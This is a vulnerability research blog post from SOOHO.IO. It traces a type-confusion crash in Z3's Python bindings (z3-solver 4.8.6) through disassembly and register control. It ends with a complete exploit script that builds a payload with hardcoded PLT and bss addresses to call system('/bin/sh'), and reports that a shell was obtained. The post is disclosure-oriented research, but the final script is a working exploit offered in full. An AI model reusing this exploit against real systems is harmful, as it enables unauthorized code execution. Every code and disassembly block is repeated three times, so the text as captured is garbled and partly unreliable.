I’m Hackability, a security researcher at SOOHO.IO. This article documents bugs in Z3, a widely used satisfiability modulo theories (SMT) solver, and the analysis that led from a crash to a working exploit in the test environment.
Finding the Bug
I encountered the bug while researching with python-z3, when a crash log caught my attention.
import z3
z3.BoolRef(0x41414141)
'''
Python 3.6.8 (default, Oct 7 2019, 12:59:55)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import z3
>>> z3.BoolRef(0x41414141)
Segmentation fault (core dumped)
'''
import z3
z3.BoolRef(0x41414141)
'''
Python 3.6.8 (default, Oct 7 2019, 12:59:55)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import z3
>>> z3.BoolRef(0x41414141)
Segmentation fault (core dumped)
'''
import z3
z3.BoolRef(0x41414141)
'''
Python 3.6.8 (default, Oct 7 2019, 12:59:55)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import z3
>>> z3.BoolRef(0x41414141)
Segmentation fault (core dumped)
'''
Initial Crash Log
A related issue had already been reported on Z3’s GitHub repository in May and closed after the developer assessed it as a low-priority problem.
Type confusion in Z3_inc_ref, version 4.7.1 and earlier — Z3Prover/z3 issue #1639
Curious about the underlying behavior, I spent the weekend investigating.
The investigation uncovered several additional crashes.
Analyzing the bug and developing an exploit
A Python script fuzzer I had developed the previous year generated a large number of segmentation faults.
A crash alone does not establish exploitability. The next step was to identify controllable registers and a path that could influence execution. The initial proof of concept did not provide what I needed, so I continued examining the results.
One crash met those criteria. The fuzzer-generated proof of concept is shown below.
import z3
def fn_199f2d73ac5b7497():
return z3.is_int('A' * 0x1000)
def fn_412c5fa7f5598e53():
return z3.Z3_get_decl_int_parameter('A' * 0x1000, fn_199f2d73ac5b7497(), 0x43434343)
fn_412c5fa7f5598e53()import z3
def fn_199f2d73ac5b7497():
return z3.is_int('A' * 0x1000)
def fn_412c5fa7f5598e53():
return z3.Z3_get_decl_int_parameter('A' * 0x1000, fn_199f2d73ac5b7497(), 0x43434343)
fn_412c5fa7f5598e53()import z3
def fn_199f2d73ac5b7497():
return z3.is_int('A' * 0x1000)
def fn_412c5fa7f5598e53():
return z3.Z3_get_decl_int_parameter('A' * 0x1000, fn_199f2d73ac5b7497(), 0x43434343)
fn_412c5fa7f5598e53()PoC generated from the Python script fuzzer
Debugging showed an invalid memory access influenced by the supplied input.
Crash Point by PoC script
This case was useful because a jmp rax instruction followed the crash site, and the input influenced rax. The analysis therefore focused on whether execution could reach that instruction with a controlled value.
The following steps trace the cause of the crash and the conditions needed to reach that branch in the test program.
First, the modified PoC is as follows.
import z3
""" for debugging purpose """
input('ready ?')
z3.Z3_get_decl_int_parameter(b'A'*0x100, z3.is_int(1), 0x43434343)import z3
""" for debugging purpose """
input('ready ?')
z3.Z3_get_decl_int_parameter(b'A'*0x100, z3.is_int(1), 0x43434343)import z3
""" for debugging purpose """
input('ready ?')
z3.Z3_get_decl_int_parameter(b'A'*0x100, z3.is_int(1), 0x43434343)
The first argument is a byte sequence rather than a null value; the second and third follow the fuzzer’s output. The input call pauses execution so a debugger can be attached after libz3 loads. Breakpoints can then be set using the library’s base address and the relevant function offset.
After attaching the debugger, I checked the memory map to locate libz3.so.
The mapping at 0x7f480e578000 has executable r-xp permissions. Adding the function offset, 0xeb870, gives the breakpoint address 0x7f480e663870 for this run.
Address Space Layout Randomization (ASLR) changes the library’s base address between runs in typical Linux environments. The analysis must account for that changing base; the function offset within the same library build remains constant.
Entry Point of api::context::set_error_code
At the expected entry point, the register state showed that rdi, [r10], r12, and r14 were related to the input. The controllable rdi value also influenced rbx.
EB870 push r13
EB872 push r12
EB874 push rbp
EB875 mov ebp, esi
EB877 push rbx
EB878 mov rbx, rdi
EB87B sub rsp, 8
EB87F test esi, esi
EB881 mov [rbx+518h], esi
EB887 jnz short loc_EB898
loc_EB889:
EB889 add rsp, 8
EB88D pop rbx
EB88E pop rbp
EB88F pop r12
EB891 pop r13
EB893 retn
EB894 align 8
EB898
loc_EB898:
EB898 mov rax, [rdi+528h]
EB870 push r13
EB872 push r12
EB874 push rbp
EB875 mov ebp, esi
EB877 push rbx
EB878 mov rbx, rdi
EB87B sub rsp, 8
EB87F test esi, esi
EB881 mov [rbx+518h], esi
EB887 jnz short loc_EB898
loc_EB889:
EB889 add rsp, 8
EB88D pop rbx
EB88E pop rbp
EB88F pop r12
EB891 pop r13
EB893 retn
EB894 align 8
EB898
loc_EB898:
EB898 mov rax, [rdi+528h]
EB870 push r13
EB872 push r12
EB874 push rbp
EB875 mov ebp, esi
EB877 push rbx
EB878 mov rbx, rdi
EB87B sub rsp, 8
EB87F test esi, esi
EB881 mov [rbx+518h], esi
EB887 jnz short loc_EB898
loc_EB889:
EB889 add rsp, 8
EB88D pop rbx
EB88E pop rbp
EB88F pop r12
EB891 pop r13
EB893 retn
EB894 align 8
EB898
loc_EB898:
EB898 mov rax, [rdi+528h]
At 0xEB887, there is a comparison between [rbx+0x518] and rsi; if they are not equal, it branches to 0xEB898. If there is no branch, the function will end and return, so we need to set a condition to ensure there is a branch.
Condition 1: [rbx+0x518] != rsi
loc_EB898:
EB898 mov rax, [rdi+528h]
EB89F mov r12, rdx
EB8A2 lea r13, [rdi+528h]
EB8A9 xor ecx, ecx
EB8AB xor esi, esi
EB8AD mov rdi, r13
EB8B0 mov rdx, [rax-18h]
EB8B4 call __ZNSs9_M_mutateEmmm
EB8B9 test r12, r12
EB8BC jz short loc_EB8D4
EB8BE mov rdi, r12
EB8C1 call _strlen
EB8C6 mov rsi, r12
EB8C9 mov rdx, rax
EB8CC mov rdi, r13
EB8CF call __ZNSs6assignEPKcm
loc_EB8D4:
EB8D4 mov rax, [rbx+520h]
loc_EB898:
EB898 mov rax, [rdi+528h]
EB89F mov r12, rdx
EB8A2 lea r13, [rdi+528h]
EB8A9 xor ecx, ecx
EB8AB xor esi, esi
EB8AD mov rdi, r13
EB8B0 mov rdx, [rax-18h]
EB8B4 call __ZNSs9_M_mutateEmmm
EB8B9 test r12, r12
EB8BC jz short loc_EB8D4
EB8BE mov rdi, r12
EB8C1 call _strlen
EB8C6 mov rsi, r12
EB8C9 mov rdx, rax
EB8CC mov rdi, r13
EB8CF call __ZNSs6assignEPKcm
loc_EB8D4:
EB8D4 mov rax, [rbx+520h]
loc_EB898:
EB898 mov rax, [rdi+528h]
EB89F mov r12, rdx
EB8A2 lea r13, [rdi+528h]
EB8A9 xor ecx, ecx
EB8AB xor esi, esi
EB8AD mov rdi, r13
EB8B0 mov rdx, [rax-18h]
EB8B4 call __ZNSs9_M_mutateEmmm
EB8B9 test r12, r12
EB8BC jz short loc_EB8D4
EB8BE mov rdi, r12
EB8C1 call _strlen
EB8C6 mov rsi, r12
EB8C9 mov rdx, rax
EB8CC mov rdi, r13
EB8CF call __ZNSs6assignEPKcm
loc_EB8D4:
EB8D4 mov rax, [rbx+520h]
Checking the next block, rax is assigned [rdi+0x528], and since rdi is the value we set, rax becomes a register we can control at this point as well. Furthermore, r13 is also allocated with [rdi+0x528], which makes r13 a controllable register as well, but it differs from rax. While the value placed in rax comes from rdi+0x528, allowing us to set rax, r13 points to the address of data we can control, therefore does not directly control the r13 value itself. Nonetheless, it's still a useful value as it points to a controllable area.
Following the calls and branches with these values brought execution to 0xEB8D4.
loc_EB8D4:
EB8D4 mov rax, [rbx+520h]
EB8DB test rax, rax
EB8DE jz short loc_EB889
EB8E0 lea rdx, g_z3_log
EB8E7 cmp qword ptr [rdx], 0
EB8EB jz short loc_EB8F7
EB8ED lea rdx, g_z3_log_enabled
EB8F4 mov byte ptr [rdx]
loc_EB8D4:
EB8D4 mov rax, [rbx+520h]
EB8DB test rax, rax
EB8DE jz short loc_EB889
EB8E0 lea rdx, g_z3_log
EB8E7 cmp qword ptr [rdx], 0
EB8EB jz short loc_EB8F7
EB8ED lea rdx, g_z3_log_enabled
EB8F4 mov byte ptr [rdx]
loc_EB8D4:
EB8D4 mov rax, [rbx+520h]
EB8DB test rax, rax
EB8DE jz short loc_EB889
EB8E0 lea rdx, g_z3_log
EB8E7 cmp qword ptr [rdx], 0
EB8EB jz short loc_EB8F7
EB8ED lea rdx, g_z3_log_enabled
EB8F4 mov byte ptr [rdx]
The key question was whether execution could avoid the branch at 0xEB8DE and reach jmp rax.
Condition 2: test rax, rax (rax != 0)
First, we assign the value of [rbx+0x520] to rax; rbx is the first address of the data we passed as the first argument. In the current PoC test, I input A with 0x100 entries, meaning I cannot ascertain what value will go into the location of 0x520. If I cannot control the value of rbx+0x520, I may hit the branch at test rax, rax, thus failing to follow the desired execution flow.
Based on the analysis results above, I modified the PoC. I now input A with 0x520 entries and B with 8 entries. The expected outcome is that when the execution flow reaches 0xeb8d4, rax's value should become "BBBBBBBB".
import z3
""" for debugging purpose """
input('ready ?')
z3.Z3_get_decl_int_parameter(b'A'*0x520 + b'B'*8, z3.is_int(1), 0x43434343)import z3
""" for debugging purpose """
input('ready ?')
z3.Z3_get_decl_int_parameter(b'A'*0x520 + b'B'*8, z3.is_int(1), 0x43434343)import z3
""" for debugging purpose """
input('ready ?')
z3.Z3_get_decl_int_parameter(b'A'*0x520 + b'B'*8, z3.is_int(1), 0x43434343)modified_poc_02.py
Another Crash Situation
A segmentation fault occurred before that point. The register values indicated another invalid memory access, so I traced the value assigned to rax.
loc_EB898:
EB898 mov rax, [rdi+528h]
EB89F mov r12, rdx
EB8A2 lea r13, [rdi+528h]
EB8A9 xor ecx, ecx
EB8AB xor esi, esi
EB8AD mov rdi, r13
EB8B0 mov rdx, [rax-18h]
loc_EB898:
EB898 mov rax, [rdi+528h]
EB89F mov r12, rdx
EB8A2 lea r13, [rdi+528h]
EB8A9 xor ecx, ecx
EB8AB xor esi, esi
EB8AD mov rdi, r13
EB8B0 mov rdx, [rax-18h]
loc_EB898:
EB898 mov rax, [rdi+528h]
EB89F mov r12, rdx
EB8A2 lea r13, [rdi+528h]
EB8A9 xor ecx, ecx
EB8AB xor esi, esi
EB8AD mov rdi, r13
EB8B0 mov rdx, [rax-18h]
rax contains [rdi+0x528]. At the moment the crash occurred, the value of rdi had changed, so checking the registers when assigning rax yields the following.
Situation where rax value is assigned
rdi points to the value we input. We have input 0x528 entries as payload, so we cannot know what the values accessed from 0x528 will be. Therefore, we must add 8 more bytes. The important point here is that the 8 bytes we add should be interpreted as an address, and that address must be accessible by the memory value corresponding to that address - 0x18 to avoid the types of crashes mentioned.
Condition 3: mov rdx, [rax-0x18] (rax-0x18 is valid memory address)
At this point, we need to choose a fixed memory address. A straightforward approach is to refer to the got or bss region of the Python binary to access addresses within that area. Because the Python in this environment has been compiled with the PIE (Position Independent Executable) option disabled, the Python code base is static, meaning data and bss areas should also be static.
The address of the bss area is 0x9b4000, and examining this memory shows the following.
BSS area memory dump
Since rdx accesses [rax-0x18], if I want rdx to become 0x9b4000, I must actually input 0x9b4000+0x18. Based on this, I will restructure the payload as follows.
import z3
import struct
Q = lambda x: struct.pack('Q', x)
UQ = lambda x: struct.unpack('Q', x)[0]
""" for debugging purpose """
input('ready ?')
bss = 0x9b4000
payload = b''
payload += b'A' * 0x520
payload += b'B' * 8
payload += Q(bss + 0x18)
z3.Z3_get_decl_int_parameter(payload, z3.is_int(1), 0x43434343)import z3
import struct
Q = lambda x: struct.pack('Q', x)
UQ = lambda x: struct.unpack('Q', x)[0]
""" for debugging purpose """
input('ready ?')
bss = 0x9b4000
payload = b''
payload += b'A' * 0x520
payload += b'B' * 8
payload += Q(bss + 0x18)
z3.Z3_get_decl_int_parameter(payload, z3.is_int(1), 0x43434343)import z3
import struct
Q = lambda x: struct.pack('Q', x)
UQ = lambda x: struct.unpack('Q', x)[0]
""" for debugging purpose """
input('ready ?')
bss = 0x9b4000
payload = b''
payload += b'A' * 0x520
payload += b'B' * 8
payload += Q(bss + 0x18)
z3.Z3_get_decl_int_parameter(payload, z3.is_int(1), 0x43434343)Adding fixed address from bss area
When executed, it operates normally as intended and stops due to an error while attempting to jump to BBBBBBBB from jmp rax, as it is an invalid address.
Execution reached the intended branch. The remaining step in this test was to direct it to a function such as system or exec.
First, for the system function, the plt is exposed within the Python binary, so I use that address.
Moreover, the address of the string to be passed as the argument to the system provides a pointer to a memory area that we can control. I replace this part with "/bin/sh" and make the necessary modifications. The final form is as follows.
"""
# Author : hackability (@SOOHO.IO)
# Last Modified : 2019-10-26
# Target : python (3.6.8) - z3-solver (4.8.6)
# Description : z3.Z3_get_decl_int_parameter type confusion bug.
"""
import sys
import struct
import z3
Q = lambda x: struct.pack('Q', x)
def print_versions():
v_python = sys.version.splitlines()[0]
v_z3 = z3.get_version_string()
print (f'Python : {v_python}')
print (f'z3-solver : {v_z3}')
def exploit():
plt_system = 0x41f4e0
bss = 0x9b4100
""" exploit payload """
target_1 = b'/bin/sh\x00'
target_1 += b'A'*0x518
target_1 += Q(plt_system)
target_1 += Q(bss)
""" generated by fuzzer """
def fn_199f2d73ac5b7497():
return z3.is_int('A' * 4096)
def fn_412c5fa7f5598e53():
return z3.Z3_get_decl_int_parameter(target_1, fn_199f2d73ac5b7497(), 0x43434343)
fn_412c5fa7f5598e53()
if __name__ == '__main__':
print_versions()
exploit()"""
# Author : hackability (@SOOHO.IO)
# Last Modified : 2019-10-26
# Target : python (3.6.8) - z3-solver (4.8.6)
# Description : z3.Z3_get_decl_int_parameter type confusion bug.
"""
import sys
import struct
import z3
Q = lambda x: struct.pack('Q', x)
def print_versions():
v_python = sys.version.splitlines()[0]
v_z3 = z3.get_version_string()
print (f'Python : {v_python}')
print (f'z3-solver : {v_z3}')
def exploit():
plt_system = 0x41f4e0
bss = 0x9b4100
""" exploit payload """
target_1 = b'/bin/sh\x00'
target_1 += b'A'*0x518
target_1 += Q(plt_system)
target_1 += Q(bss)
""" generated by fuzzer """
def fn_199f2d73ac5b7497():
return z3.is_int('A' * 4096)
def fn_412c5fa7f5598e53():
return z3.Z3_get_decl_int_parameter(target_1, fn_199f2d73ac5b7497(), 0x43434343)
fn_412c5fa7f5598e53()
if __name__ == '__main__':
print_versions()
exploit()"""
# Author : hackability (@SOOHO.IO)
# Last Modified : 2019-10-26
# Target : python (3.6.8) - z3-solver (4.8.6)
# Description : z3.Z3_get_decl_int_parameter type confusion bug.
"""
import sys
import struct
import z3
Q = lambda x: struct.pack('Q', x)
def print_versions():
v_python = sys.version.splitlines()[0]
v_z3 = z3.get_version_string()
print (f'Python : {v_python}')
print (f'z3-solver : {v_z3}')
def exploit():
plt_system = 0x41f4e0
bss = 0x9b4100
""" exploit payload """
target_1 = b'/bin/sh\x00'
target_1 += b'A'*0x518
target_1 += Q(plt_system)
target_1 += Q(bss)
""" generated by fuzzer """
def fn_199f2d73ac5b7497():
return z3.is_int('A' * 4096)
def fn_412c5fa7f5598e53():
return z3.Z3_get_decl_int_parameter(target_1, fn_199f2d73ac5b7497(), 0x43434343)
fn_412c5fa7f5598e53()
if __name__ == '__main__':
print_versions()
exploit()Final Exploit Code
The results are as follows.
Shell acquired!
Yeah!
Conclusion
This article examined a type-confusion bug found by a script fuzzer in Z3 Solver 4.8.6, the latest version used in this historical test, and followed it through to a proof of concept that obtained a shell.
Python bindings to C libraries can expose type-confusion risks when Python objects are passed into native interfaces. The security implications differ from those of tightly sandboxed environments, which can complicate how maintainers assess and address these issues.
The workflow—reproducing a crash, tracing input influence, and evaluating exploitability—is also relevant to vulnerability research in other applications.
Questions about this analysis are welcome.
For further information or security review support, contact SOOHO.IO.
👉 Contact Us
SOOHO.IO Official Channels
